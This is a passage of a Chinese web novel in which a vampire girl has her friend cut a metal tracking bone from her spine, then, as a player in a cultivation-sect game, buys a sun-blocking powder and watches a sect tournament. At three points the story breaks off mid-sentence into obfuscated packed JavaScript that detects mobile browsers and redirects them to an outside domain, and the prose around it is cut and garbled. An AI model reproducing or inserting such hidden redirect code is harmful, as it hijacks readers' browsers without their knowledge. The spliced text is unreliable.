伽莱来过很多次,以徐薇正在上中学的养女来参观实验的名义,实际上干什么心里都清楚。徐薇有时候需要观察活体的细胞反应,那就是需要她的时候。 伽莱拿着徐薇的磁卡滴开大门,第一道玻璃门滑开的瞬间,消毒水混着寒气扑面而来,中央操作区的岛式实验台上,有人正用移液枪往96孔板里滴加淡黄色试剂,蓝色手套在灯光下泛着冷光。 她没想到有人,自然而然地脚步一停,那人显然也注意到她,直起身,咧开嘴笑道:“是你啊。” 伽莱:“……” 这个带着黑方框眼镜的男生是徐薇的学生,也来自东方。 之前打过几次照面,徐薇似乎十分器重他,没想到会在这种情形下撞见。 尤其是正当她怀着不当动机的时候。 真是太不妙了。 “教授已经启程了吗?”陈霖的脸圆圆的,虎牙看上去人畜无害,放在以前伽莱很喜欢他的笑,因为那能放松自己紧张的神经。现在就不一样了,陈霖在这就是眼下最大的阻碍。 “还没。”伽莱若无其事,“怎么这么早?” “不是早,是没回去。” 陈霖放下试剂,摘下手套洗手,水声哗啦啦,头也不回道,“之前的实验教授留了一份细胞样本,我过来随便测试一下。” 几乎是不假思索,伽莱一边往里走一边接话:“她有些东西落在这里了,我来帮她拿。” 陈霖不置可否,伽莱在心里松了口气。 走廊尽头的电子屏显示22℃,58%湿度,气压正常。右手插进羽绒服口袋里攥紧那枚的磁卡,金属边缘硌得掌心发疼。 拿着徐薇的卡一路畅行,伽莱进入了冷藏区。 冷藏机械发出低沉的轰鸣,伽莱的眼神扫过样品与试剂储存区的门牌,随手打开一台冰箱,大大小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伽莱在路上给玛丽发了信息,后者还在半梦半醒间就被拽起来,穿着睡衣早早在山林入口睡眼蒙眬地守望。 下车接头后两人寒暄了一会儿往别墅里走。玛丽高兴道:“你联系上我哥哥了吗?” “我给他发了信息,不过他一句话都没说。”伽莱道,“最后我拿到了一个论坛的网址。” 玛丽表示很惊讶,伽莱观察她的表情也不像演的,心道这没心没肺的女孩果然什么都不知道,也就揭过这一页了。 “那你今天还要继续吗?” “当然,我找你就是为了这个。” 伽莱道,“还有一件事情需要你的帮助。” _ 玛丽站在房间里,手里握着一把水果刀,神情呆滞。 她有些无助地看着伽莱在自己面前一件一件褪去衣裳,还没反应过来究竟发生了什么。 “这里。”她指着后背脊椎某处。 伽莱的肩颈线条很漂亮,腰线纤细流畅,皮肤没有一点疤痕,除了过分苍白以外,几乎没有任何缺陷。 而现在,玛丽即将要亲手破坏这样完美的躯体。 她硬着头皮:“伽莱,你是不是……” “照我说的做就好。”伽莱坚持,“相信我,不会有事的。” 15. 宗门大比 “要不我们还是去医院吧。”玛丽说。 她提心吊胆地攥紧手里的刀。 就在昨天,管家刚刚用这把刀给她切了两只苹果,锋芒发钝,上面还残留着积年累月形成的水垢,怎么看都不适合作为一把手术刀。 但这是玛丽手边最快能拿到手的锐器。 看着玛丽犹犹豫豫的神情,伽莱干脆夺过那刀,在对方短促的惊呼声中反手在脊背中央滑开长长的血口,金属刮蹭骨质发出令人牙酸的声音。 玛丽整个人都惊呆了。 反应过来时她已经紧贴着墙站立,所有的尖叫声堵在喉咙里,眼珠子瞪死,一副即将魂飞魄散的模样。 “快点,它要愈合了!” 玛丽从惊魂中回神,发现要了命了,那该死的伤口竟然真的在愈合?!立刻冲过去给机器插上电,双膝跪在伽莱身后,手里握着超声骨刀哆哆嗦嗦:“我,我该怎么办?” “把那块金属骨头取下来!”伽莱咬牙切齿。 来不及去想这一幕有多么离谱,玛丽握着骨刀,一股细微但清晰的震颤感从手柄传递到指尖,沿着手臂蔓延。她在大量异常浓稠的红色中分辨出了那一小块骨金属,刀头接触点的那一刻,玛丽感觉自己像是在切一块硬黄油。 不知道过了多久,玛丽浑身仿佛被汗浇透,仍旧屏息凝神,水津津的脸已白的发灰。 因为伤口不断愈合,过程中她还要反复划拉开,承受的心理压力难以想象。 当啷,金属掉落的那一刻,玛丽彻底脱力,机器偃旗息鼓,伽莱将罐子里的骨头取出,在玛丽震撼的眼神中简单暴力地安回自己的身上。等待皮肤合拢过后,她满是歉意地对朋友道:“抱歉,但我可以借一下你家的浴室吗?” 玛丽讪讪一笑。 别说浴室了,这会就是伽莱把她家当密室玩,也绝不敢有半句怨言。 不过十个小时内洗了三次澡,伽莱的心情也不是很美妙。 她一边冲洗一边琢磨着该编什么借口跟玛丽解释,尽管在印象中玛丽是很现代很开放的人,那也不代表她立马就能接受自己的朋友是个吸血鬼,还在她的卧室里完成了一场粗糙的取骨手术。 想着想着,洗澡的时间就长了。最后走出浴室的时候,玛丽正跪在地上擦地,刚刚收拾完惨不忍睹的局面。 两人一上一下对视片刻,玛丽打量着她身上的保暖内衣开口:“你确定不换套衣服?” 伽莱看着玛丽。 玛丽看着伽莱。 两个人同时笑了起来。 “所以,你是吸血鬼?” 卧室里多铺了一层地毯,用以遮盖腥气尚未散去的地面,玛丽拿着一碟苹果切盘腿坐在地毯上,一边吃一边抬头和坐在床垫上的伽莱对话。 她的眼睛亮晶晶,和伽莱意料中的一样兴奋和好奇。 玛丽故作害怕的抱住自己,“那你接近我,不会是馋我的身子吧?” 伽莱踢了她一脚。 伽莱手里握着那枚滚烫的骨金属,玛丽凑过去道:“那就是那个科学家控制你的手段?” “大概吧。” “要不你把它给我。”玛丽叉了一块苹果放进嘴里,随口说道,“我可以托人帮你检测一下,说不定就能知道它的用途。” “而且如果它是一个定位器,也不太方便待在这里。” 伽莱觉得玛丽说的不无道理,于是将骨金属递交出去,她接过在手里把弄一番,顿时恶作剧心起,“你是吸血鬼,那你会怕阳光吗?” 伽莱点头。 “有多怕?” “怕死的怕。” “你会怕十字架吗?” 伽莱摇头。 玛丽若有所思。 “你好好休息吧。”她站起来,“我去帮你查这块金属。如果下午五点之前没有回来,你自己登陆游戏就好。” 伽莱有些歉疚:“这段时间可能要麻烦你了。” “客气什么,我们是好朋友呀。” 玛丽眨了下眼睛。 房间里安静下来,伽莱舒出口气,向后瘫倒,整个人陷在床榻里。 她眼神放空望着布置如动画片公主一样粉嫩的天花板,忽然生出一丝不合时宜的羡慕。 床太软了。 房间太大了。 伽莱翻来覆去。 好像是陷进了棉花里,浑身的骨头嘎吱作响,白天应当是血族睡眠的好时间,可她竟然失眠了。 伽莱被闹钟吵醒时才意识到自己睡着了。这一觉的质量很差,浑身酸痛,头晕眼花,她摸索着手机拔掉充电线,看了一眼时间,瞳孔瞬间张大。 四点五十! 之前的游戏都是玛丽帮她安排好装备,现在她人还没回来,伽莱手忙脚乱地插电,摆弄那些数据线,急急忙忙躺进舱室时,她绷紧全身的肌肉,强迫自己回到游戏里的最后一刻,闭上眼睛。 【玩家已登陆】 崔滢向前猛地一朴,身后的阳光刺进来,擦过衣角,在门槛处描出一道阴阳线,她靠着桌角惊魂未定地看着那刺目的一片,面庞发烫,连忙踢上了大门。 【任务已完成】 【奖励正在结算】 提示面板在这时跳出。 【灵石废矿探索进度100%】 【获得奖励:100灵石】 【获得奖励:千年妖丹】 【已移出道具:千年妖丹】 【获得额外奖励:魔王的信任】 【获得额外奖励:升级点数+1】 …… 崔滢慢慢冷静下来。 也不是一无所获,至少赚了钱。 她自动忽略了那段有的没的“信任”。 【检测到玩家等级产生变化】 【lv3(练气期)——lv4(筑基期)】 【新功能:游戏商城】 崭新的图标闪着绚丽的光芒堂堂出现,崔滢研究了一会儿,忽然听见: “崔滢。” 门外响起邱长老的声音。 她站起来,正准备去开门,瞥见窗外明亮的晨光,又缩回手,安静地待在阴影里。 “明天就是大比,我来看看你准备的怎么样。”邱长老顿了一下,好歹是唤起了一丝身为人师的良心,“最近有什么修行上的问题吗?” “没有。” “好。” 可以,对话刚刚开始就进入了死局。 崔滢忽然问:“师父,宗门大比一定要去吗?” 邱长老感到意外:“你不想去?” 当然不想。 且不说打不打得过,但凡出个太阳,她连门都迈不出去。 “师父,”崔滢斟酌道,“明天会是个晴天吗?” 邱长老这下更加惊讶了。 惊讶过后,淡淡的愧疚感涌上心间。 他这几天很忙,准确来说,一部分是为了崔滢在奔波。 经过一段时间的观察,长老殿那边给出的评测已经将嫌疑消去大半,崔滢的确只是一个品阶低微,能力弱小的弟子。 至于驯兽,长老殿的倾向是天赋。 这个时代最不缺的就是奇人异象。 除了昨晚短暂失联,不过那也很快就被证明是和一群外门弟子在探索废矿,不是什么大事。 邱长老叹了口气。 扪心自问,当初掌门和师祖把这么一个烫手山芋塞给他这个长老之中资历最年轻的人,心中没有芥蒂是不可能的。 十万山突围过后,他曾立誓不再收徒,师祖分明知道这件事,却还是硬将崔滢托给他。崔滢总以为他是忙,忙是真的,可借公务之事故意冷落她也是真的,本以为这该是两个人都心知肚明的事,直到此刻,邱长老才蓦然醒悟。 崔滢沉默,木讷,弱小,却不是他忽略她的理由。 明天会是个晴天吗?这是多么隐晦,多么苦涩的语气!身为外门弟子汲汲营营,即使偶然走运进入内门,可等待她的明天,真的值得期待吗? 很久没有听见回音,崔滢感到奇怪:“师父?” “不必说了。”邱长老沉重道,“崔滢,从今往后我会指导你好好修炼,只要用功,明天,一定会是晴天的。” 崔滢:“……” 不是,这个因果关系是怎么得出来的。 而且她不是在问天气吗? 明天要是晴天,她就不能参与宗门大比了啊。 “既然你不想见我,为师就不打扰你修炼了。” 崔滢:“不是师父……师父?” 门外已没有一点声音。 “……” 是错觉吗?总感觉她的师父好像脑补了什么不得了的东西。 求助无门,崔滢只好再次打开系统,点开游戏商城漫无目的地逛。 大部分的商品都是灰色未解锁的状态。瞥见语音图标时崔滢忽然灵机一动,清清嗓子对界面说道:“有没有平价一点的物品?” “正在搜索……” “以下是小生为您推荐的新手用品。” 商城界面终于亮了,崔滢浏览了一下,无非是些法器丹药,系统自动推荐的都是100灵石以下的道具。她又问:“有没有可以阻隔阳光的道具?” 只是随口一问,却不想系统真的有了反应:“正在为您推荐相关道具。” “已为您找到:夜明砂。” “夜明砂:蝙蝠粪便经道家秘法炼制,能凝聚暗夜精华,增强避光效果,持续时间两个时辰(注:四个小时)。” 崔滢眼前一亮。 她连忙问:“可以用在皮肤上吗?” “夜明砂是常见的炼制原材料,无毒无味,可大量生产。” 瞥了一眼价格标签,按斤算,10灵石1斤,对比现有资产她完全可以囤上许多。 巨大的喜悦并没有冲昏头脑,崔滢冷静下来,决定先花1灵石买上一份试用装。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269643|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【资产-1】 【获取道具,夜明砂1两。】 手中凭空出现一只雪白的瓷瓶,拔开瓶塞往手心倒,灰色的粗粝粉末从瓶口泄出,她仔细地涂抹了一只手掌,抬目望向另一边的纸窗。 纸窗正对妆奁,过去几天里,那里是崔滢的禁行区。 她挪步走过去,淡淡的阳光穿过薄纸,微尘描摹着光束的形状,崔滢小心翼翼靠近,仿佛靠在窗边的是什么沉睡的怪兽。 她伸出手,轻轻触了一下光束边缘迅速缩回,确认没什么感觉后,她眼一闭心一横,用力将手伸了出去。 “……” 崔滢睁开眼睛,眸中盛满惊讶。 纤细苍白的手,因为敷了夜明砂,在阳光下泛着颗粒闪烁的光泽,她缓慢转动自己的手,像是欣赏一件艺术品那样痴迷,然后毫不犹豫点开商城,购入了整整五斤的夜明砂。 这下好了,她无法退游的理由又多了一个。 因为妆奁正对窗户,所以过去的这段时间,崔滢的活动范围仅限另一侧。她第一次站在了铜镜前,看着镜子里自己微微变形的面孔,正挂着真心实意的明亮笑颜。 这一天是崔滢有生以来最开心的一天。如果没有第二天的话,她应该还能够更加开心。 第二天,崔滢如约来到了宗门大比的现场。 - 人比想象中的还要多。 远远瞧见余小羽,崔滢默默转了个方向,结果正对上朝自己打招呼的余小玉,只好尴尬地走过去,干巴巴打招呼:“你们好呀。” “你怎么一个人在这。” 余小羽还是那副对什么都不耐烦的模样,余小玉则关切地看着她苍白的脸,道,“内门弟子应该都在凌霄山上等着。这里是外门比试的地方,等我们筛选完再由剩下的外门弟子去挑战内门。你不知道吗?” 崔滢有些讪讪,没有人跟她说过这些。 “你快走吧,当心些。”余小玉上前一步压低声音,“你是近些年为数不多天赋平平就被招进内门的人,那些想要进内门的弟子要选择内门弟子挑战,你肯定是首当其冲的对象。” 崔滢直接惊了。 咋回事,这也没人跟她说啊。 她想起罗汉峰上最开始遇见宇文雁一行人,提起宗门大比时,他们看自己的眼神总有几分同情。 怪不得昨天邱长老突然良心发现似的来关心她的修炼情况。 如果真如余小玉所说,那自己岂不是完蛋了,完全没准备啊! 这边还在对话,那一边,外门弟子的选拔战已经激烈开展。 选拔分为两轮,第一轮有两项测试。第一项是“测灵”,弟子手按测灵玉,维持输出炼气后期及以上的灵力水平满一炷香的时间,中途灵力波动超过一成则淘汰。单是这一项,就可去掉至少三成外门弟子; 第二项则是一对一的比试,同样限时一炷香,仅可使用外门允许的三种术法,严禁下死手,只以“破除对方防御”、“逼出比试台”等情况为胜。若最后双方均未分出胜负,按灵力消耗少者晋级。 第一轮结束后,剩余弟子将进入秘境比试第二轮。弟子们分组行动,前五组的前三名可进入最终选拔,即选择一名内门弟子挑战,成功者顶替,失败者下山。 崔滢到的时候测灵的项目已经基本完成,跟余小玉了解完选拔的流程后不禁咂舌,后知后觉自己不由分说就占了一个内门的名额对其他人来说有多么的不可理喻。 无意中造成的怨气,她是否有能力消化呢? 外门的山地有一处天然凹陷,所有人就站在凹陷的崖边观看底下正在进行的对试。许多目光若有似无的落在崔滢身上,这让她感到莫大的压力,匆匆跟余小玉交谈几句就准备离开,余光瞥见什么,往外走的脚步一下就刹住了。 比试场上一侧站着一位白衣少年,约莫十六七岁,身形清瘦,腰间悬着柄银亮的细剑,衣摆下摆还沾着晨练时的草屑,是非常典型的外门弟子形象; 和他形成鲜明对比的是,在他对面,另一位敦实小人缓缓走上场。 她约莫四尺高,肩膀却宽得能抵上两个外门弟子,赭红色的卷发像像缀满铜环的鬃毛,最瞩目的是她的鼻子,鼻若酒壶,鼻头圆滑,圆墩墩红彤彤。 背后斜挎的双手斧更吓人,斧刃比寻常长剑还宽,斧柄裹着磨得发亮的兽皮。 崔滢:“…………” 冷汗直下。 尽管穿着无垢宗的宽袍制服,随风猎猎,但那五官,那武器,那粗糙的斑点皮肤,那西方童话故事书插画般的气质,那不就是…… 矮人??! 余小玉伸手拽她,想提醒崔滢周围已经虎视眈眈,让她赶紧走,却发现对方一副目瞪口呆啼笑皆非的模样,脚下生根,半天没说出一句话。 笑死。 还愁上哪去找玩家么,这宗门大比完全就是个照妖镜,到底谁是npc谁是玩家,这不是一目了然? 16. 宗门大比 测灵玉的评比结束后,周围的同伴的立刻围上来,交口称赞道:“薄农,你太厉害了吧!” “整个外门也没几个甲级,看你平时沉默寡言,没想到还是个水灵根的高手!” 薄农,也就是那位白衣少年,不好意思的挠挠脑袋,露出羞赧的笑意。 笑意迅速消退,此刻的薄农站在对试场上,在他对面,一个身高矮墩的壮士踏着地面走上,宽头大耳,肥鼻厚唇,背后的双手斧在光线下闪着犀利的锋芒,脸上没有表情。 “在下青龙剑,薄农” 白衣少年端庄抬手,眯眼瞧向对面身后的双手斧,“兄台所习可是体修?” “剑。”矮人的声音短促而有力,清脆悠扬,分明是个女音。 薄农一噎。 喂喂喂,谁都看得出来你背后背的是斧头吧,哪来的剑? 他生硬地改过称呼:“敢问,姑娘,姓名?” “陈丽。” “陈姑娘,”他说,“献丑了。” 话音落,少年足尖点地,细剑挽出个银弧直刺对面咽喉,动作快得像阵风。看台上传来一阵惊呼,都在惊讶少年猝不及防的出手,却见陈丽丽一动不动,安静地站在原地。 直到那剑疾风骤雨般劈砍下来,薄农手腕一麻,顿时眼睛睁大。 陈丽毫发无损地站在那里,眼神淡漠,薄农的剑落在她的肩上,衣料被劈开个口子,露出底下细密的鳞甲来。 薄农:“……” 对试并不限制弟子携带的道具和武器,大多数弟子在宗门大比前都会攒钱去外门炼器坊买上几件装备,防身的鳞甲也有,但基本都是低阶的次品。 而此时此刻,陈丽丽身上的这件鳞甲,严丝合缝,声响清越如玉石相击,在光线下散发着淡淡的透蓝色泽,分明是件上品灵器! 薄农一咬牙,连退数步,惊怒道:“你耍我!” “你根本不是剑修,你是器修!” 陈丽目露疑惑。 很快她就放弃了理解薄农的话,陈丽迈上前一步,薄农死死盯着她,却不知道那是他看清楚的最后一个动作。 下一秒天旋地转,眼前的景象忽然倒了个,一阵铁腥味的风掠过,薄农的脸贴上冰凉的地面,脸上警惕的表情慢慢呆滞,发出一声灵魂的疑问:“诶?” 什么时候? 他抬起手,手中的青龙剑不知何时被削成了两半,只剩半截剑刃插在剑鞘上,陈丽丽将双手斧反手收回背上的支架,转身走过去,停在薄农面前。 “你的剑,不好。”她的语气还是很生硬,“太脆。” 薄农:“……” 落败以后还要被羞辱,怒意渐渐翻滚,下一秒,一柄锋芒毕露的长剑锵然插进了薄农眼前的地面。 “赔给你。” “……” 那剑通体流光,泛着幽蓝的锻造色泽,是把不折不扣的精锻好剑。 薄农愣神过后忙要道谢,站起来,那位神秘莫测的陈丽已经消失在对试场上,不知去向。 对试的地盘很大,有许多人同时进行,崔滢的目光却一直锁定在陈丽丽那一组上,这时一旁的余小玉凑过来道:“你看清楚了吗?” “什么?” “她刚才的动作。” 实话说看的很明白。 在崔滢的认知里,矮人天生对金属、矿石和锻造有着极高天赋,顶级矮人铁匠还可融合魔法与金属。 倘若陈丽丽真的是矮人玩家,论重型武器近战,那个叫薄农的打不过她,也在情理之中。 崔滢比较忧心的是,陈丽丽的动作快且迅捷,恐怕不止有天赋加成,修为也到了筑基以上。 如果她和这样的对手在游戏里以玩家身份敌对,胜算有多少? 崔滢还想继续观察,这时头顶猝然落下一道穿透性极强的嗓音: “崔师妹!” 清越的声音穿云破海,熙熙攘攘的人群齐刷刷循声望去。 但见高空之上一道霜色剑光破雾而出,少女足尖轻点剑脊,素衣似流云猎猎,几缕发丝随气流拂过颊边,却丝毫未乱其眸色。嘈杂的声响被风声压倒,倒似这天地都为她的出场静了半拍。 来人正是宋如莺。 从前说内外门之别,崔滢尚且没有什么感受;如今身在这万众瞩目的情形下,方才体会到内门弟子究竟意味着什么,要承受些什么。 仿佛对四面八方的目光视若无睹,宋如莺微微一笑,扬声对崔滢道:“崔师妹真是让人一顿好找,长老们都在等你呢,还在这晃什么?快跟我回去!” 所有人的目光就像是被控制的机械一样,齐刷刷聚焦向某个人。 崔滢:“……” 本来没多少人注意到她的。 “崔师妹怎么会到外门来?” 两人迅速离开外门。蛇形剑不太好踩,崔滢束手束脚地站在宋如莺身后,随口诌道:“来见朋友。” “崔师妹不自己御剑?” 崔滢点开对话选项,随手选了一条。 “师姐说笑,师妹灵力低微,自己御剑,肯定是无法通过仙阶云栈的。” 穿过层层水雾,被灵蕴笼罩的仙山云海再度浮现眼前,两人迅速降落,长老殿前,几位德高望重的长者仙气飘飘,其中就有崔滢熟悉的面孔。 宋如莺娴熟行礼:“掌门,各位师叔,我已将人带回来了。” “好。”掌门点头,“进去吧,秘境试炼也快开始了。” 崔滢和邱长老快速对了一遍眼神,迈着小碎步跟上,难得向宋如莺主动询问:“我们也要试炼?” “不。”她答,“我们看他们试炼。” ? 她的脚步放慢了。 每当崔滢觉得自己已经理解这个游戏的时候,就总会发生一些令她无法理解的事。 相比起人山人海的外门弟子,内门的人数精简十倍有余,拢共五座山,每座山不超过十个弟子,弟子之间还分首席和座下,可以说是精英班中的精英班。 阁间内,弟子们正打坐调息,令人窒息的灵压充斥其中,每个人神容冷淡,不为所动。 罗汉峰只有一个孤零零的崔滢,她有样学样地坐下来,开始调用前几天从师父那取得的心诀开启自动修炼,然后闭上眼睛。 修着修着,崔滢开始感到不对劲。 心脉总有淤堵,而且越是运转周天,那种难受的感觉就越明显。 崔滢的眉头越拧越紧,正痛苦时,旁边一道声音冷冷打断了她的修炼,她抬起头,竟然是刚从外面回来的余小羽:“你别炼了。” 崔滢停下,客气地看向他。 余小羽的脸色并不好看,想必和崔滢一样是被“逮”回来的。他身后跟着同样冷着脸的木泓,大概逮捕的过程也并不愉快。 “内门弟子最低都到了筑基后期,周天运转的速度远大于平常修士,这屋子里的灵力压强和流速自然也不同寻常。”余小羽无情指出,神情颇有些鄙夷,“你若强行在这种环境下修炼,只会灵脉淤堵,走火入魔。” 好比精英班三十秒过一道大题,余小羽在说她一个基础小白,强用手段来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269644|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这里也是不自量力,不适合她。 就在这时,最前方的留影石动了,秘境的景象浮现在众人眼前,显然第一轮选拔已经结束。 在第一轮中留下的弟子此刻已经分好组别,正在秘境之中各自进行着考验。 每一组都被长老们精心设计的阵法困住,要在有限的范围和时间内寻找出破阵之法,以破阵时长排名,最后综合长老和内门弟子的意见评估出每组的前三。 在一群人中看见余小玉的身影时,崔滢意外又不意外。 她比较惊讶的是,秘境考验分组进行,余小玉所在的小组有六个人,但看上去,其他五个人似乎都以余小玉为中心,所有抉择,方案,计划都是余小玉在提,然后其余人去执行。 没记错的话她和余小玉的修为水平不相上下,对方却有这样的领导力,实在是令人钦佩。 余小羽就不一样了,看见自己的亲姐姐大展身手,脸上的得意之色顿显,道:“看见没?我姐姐人缘可好了。” 下一秒,余小羽脸上的笑意灰飞烟灭。 秘境之中陡生变故,余小玉的那一组在采集灵草的过程中意外遭遇苏醒的灵兽。灵兽与灵植相伴相生,领域意识极强,对闯入者表现出极大的愤怒,余小玉等人还没反应过来,就被汹涌的灵力掀翻在地! 余小羽霍地站了起来! 长老们却没什么反应,掌门拈着胡须观看。余小玉等人拼死反抗,却难敌高阶灵兽的威力节节败退,眼看就要出现危险,余小玉果断掏出身上的符纸朝天喊:“巽位无光!” 这是秘境求救的暗号,只有一次使用机会。 秘境之中,长老与内门弟子打坐排列的情形被留影石清晰投射在半空,掌门淡然出声:“此境情势未及危急,诸位无需忧虑,仅遣一名内门弟子入内相佐,便足以助尔等应对眼前之事。” 余小羽猛地看过去,眼神灼热,暗示意味相当明显。 却见余小玉沉默须臾,出声道:“崔师妹在吗?” 余小羽:? 崔滢:? 好猝不及防。 “让崔师妹进来吧。”余小玉的语气沉静坚定,不容置疑,“这样就行。” “……” 余小羽急的喊了出来:“姐!” 木泓立刻伸手挡住:“掌门未发话,你想抗令?” “……” 崔滢能感觉到所有内门弟子的注意力都集中到了这边。 她站起来:“我去。” 邱长老原本在闭眼假寐,闻言睁开一只眼看向她,又闭上了。 崔滢脚下亮起精致的符文阵法,整个人一晃,空气和景象霎时变化,她却没能适应阵法的惯性,往前一扑摔倒在地。 众目睽睽之下。 崔滢的鼻尖嗅到青草和泥土的腥气,抬起头,额头触到一个柔软湿润的部位,还有温暖的气流往外传送。 她意识到什么,咽了下口水缓缓抬头,眼前是一个巨大的灵兽鼻头。 那只毛发贲张的灵兽对眼看着她,一时双双沉默,空气都静止了。 后面六个人震惊到不敢动。 这传送位置怎么回事?掌门亲自操刀还能有误? 不对。 他们看着跪坐在灵兽鼻息下的崔滢,那个硕大的疑问在脑中盘旋,几乎脱口而出。 木泓看着秘境里的情形,眉尖轻蹙。 为什么。 秘境内,阁间里。 所有人都在想同一个问题。 ——为什么,灵兽没有攻击崔滢? 17. 宗门大比 【天赋“驯养”已激活,效果持续中】 无人看见的地方,崔滢的手心浮现一个兽头符纹,闪烁着微不可闻的光。 故意的,她想,不管是掌门还是余小玉,不管出于什么样的动机,他们是想借这个机会,来刺探她是否真的拥有“驯兽”的能力。 崔滢不能装作不会,一个是因为没必要,第二是因为伤不起。 一旦受伤,自愈的事情就很有可能暴露,以她现在的情况,实在没有那么多的底牌可以交出去。 崔滢闭上眼睛。 这只灵兽品阶不高,崔滢也不知道自己自带天赋的边界在哪里,但是显然,她成功了。 “对不起。” 在这个满是玄幻术语的世界,崔滢唯一能够无碍沟通的就是这些灵兽,无需以语言为媒介,但她仍旧说出口,为了做样子给旁人看。 崔滢伸出手,灵兽怒火顿消,轻轻贴上了她的掌心。 她的语气很轻,像是叶片落下时的叹息,柔软而空灵。 “帮帮我们吧。” 【天赋“驯养”持续激活中】 鬃毛酷似雄狮的灵兽深深地望了她一眼,呜咽几声,脚掌缓缓后撤,浑身的戾气收敛。 在一众讶异的目光下,灵兽俨然一副归顺的姿态,安静地卧趴在不远处,头颅搁在前腿,满满闭上眼开始小憩。 “……” 崔滢伸出的手顺势落下,长指一拽,将地上的灵草干净利落连根拔起。 东西成功到手,以如此简单又骇人听闻的手段。 在场的人缓过神,如果说先前还对崔滢有十分偏见,如今大多都只剩下五分。不管怎么说,她都是能从九死一生的万兽谷活着回来的人,岂能是等闲之辈? “此草能引动周遭灵气,驱散幻象雾气,”灵草到手后,余小玉简单向崔滢解释,指尖灵力微动,草尖叶片瞬间被碾碎,原本混沌的周遭雾气遇到灵气竟自动退散,草尖顶端的花苞也变得更加鲜亮。 “萧师姐攻左,陈兄攻右,清鸢负责引中间的阵眼!”余小玉将罗盘抛向空中,指尖掐诀画出玄奥符文。 罗盘转到某处时,草叶残留的灵气突然亮起微光,花苞也绽放出淡紫色的光:“是这个!灵草的灵气在被吸收,阵眼在此!” 阵法大破时,所有人都松了口气,余小玉感激地看向崔滢:“崔师妹,我果然没有看错你。” 崔滢笑了笑。 余小玉等人是第一组从秘境里出来的,经过众人评估,余小玉惊险擦过录取线,进入了内门选拔的最后一轮。 刚从秘境中出来,崔滢就想钻进地缝里了。 她捂住肚子,又伸手向小腿,垂下眼睛,脑中千百般自残逃遁的方法如火石电花闪过,最后闭上眼吸了口气,放弃了。 不是下不了手,是不好意思。 崔滢是一个连撒谎都要尴尬的人,压根做不来在这么多人面前喊痛演戏的戏码。 比起戏瘾大发后得逞逃离这里,她更担心失败过后自己要承担的心理压力。 噫,不行,想想就要死了!崔滢脚趾抠地。 而且如果能借此离开内门,也算了却一桩心事。 “鉴于特别情况,小羽啊。”河长老徐徐转向自家弟子,隔空点了点他,“待会余小玉比试时,你可不在选择范围之内啊。” 余小羽扯扯嘴角,这时余小玉朗声道:“弟子余小玉,见过掌门,诸位长老。” 被宗门列位大能围观注视,余小玉不慌也不忙,从容道:“弟子决定退出第三轮比试。” 崔滢在所有内门弟子的最后一排,余小玉说出那句话时,她发现很多弟子紧绷的肩膀都放松下来了。 外门到内门,无比具象的千军万马过独木桥。 比起跃龙门的败绩,从高处跌落,无疑更加令人焦虑和恐惧。 宋如莺和木泓那样的佼佼者毕竟在少数,剩下的不能说是滥竽充数,也的确并非不可替代。所以当余小玉说自己放弃时,相当一部分是松了口气的,只是那口气还没放完,就听余小玉又道: “宗门典律有云:外门弟子若能炼成六品及以上品阶的丹药,不拘常制,亦得破格晋入内门。” 咬字清晰,声声振地。 长老们环环相觑。 “余小友,是吧。”掌门温慈开口,“你可知你在说什么?” 和余小羽跋扈的个性不同,余小玉身上有一种内蕴的气质,眼眸比常人清亮,越是惊心动魄的时刻,她的表情越淡定。 “六品及以上的炼药师,才有可能炼出六品丹药。”长老们并不急着责问这位年轻的弟子,只是平静陈述,“整个无垢宗也只有咸长老是七品,你如何能做到?” 余小玉不废话,直接从乾坤袋中像掏糖豆一样拈出一颗,薄雾般的灵气淡淡笼罩,那刺眼的三道金纹现实的刹那,所有人都张开了眼睛。 ——怎么可能! 余小玉最多也就是个筑基期的普通弟子,此前从未展现出过体脉灵脉上有哪些不同寻常的天赋,忽然异军突起般掏出颗六品丹药来,着实是不鸣则已,一鸣惊人。 有弟子忽然想起,“怪不得前些日子外门总是阴云笼罩,雷声滚滚,莫非是余道友这颗药的丹劫?” 高阶丹药炼制时能引发天地异象,成品会生出灵智。果不其然,那颗丹药就像是活物一般,灵气始终围绕在余小玉周身。 如果说先前还有代为炼制的嫌疑,这便是证明彼身的最佳证据。 “……”掌门的脸上难得破开一丝额外的情绪,“这”了好几声,环顾诸位长老的表情,最后无奈道:“这规矩还是师祖定下的,你们这些老人,倒是说句话啊!” “聚气丸这东西,外门弟子都当糖豆嚼,你却能想到剑走偏锋,将一枚普通的聚气丸臻至六品,这个小聪明,耍得不错。” 澜沧山的咸芸长老顶着众长老若有若无的压力目光,冷酷道:“不过余小友恐怕志不在药道,费尽心思炼出此丹也只是为了进内门,澜沧山要的是一心一意的弟子,她不合适。” 好无情!围观的弟子身临其境代入感极强,仿佛被拒绝的是自己那般,心上齐齐插了一箭。 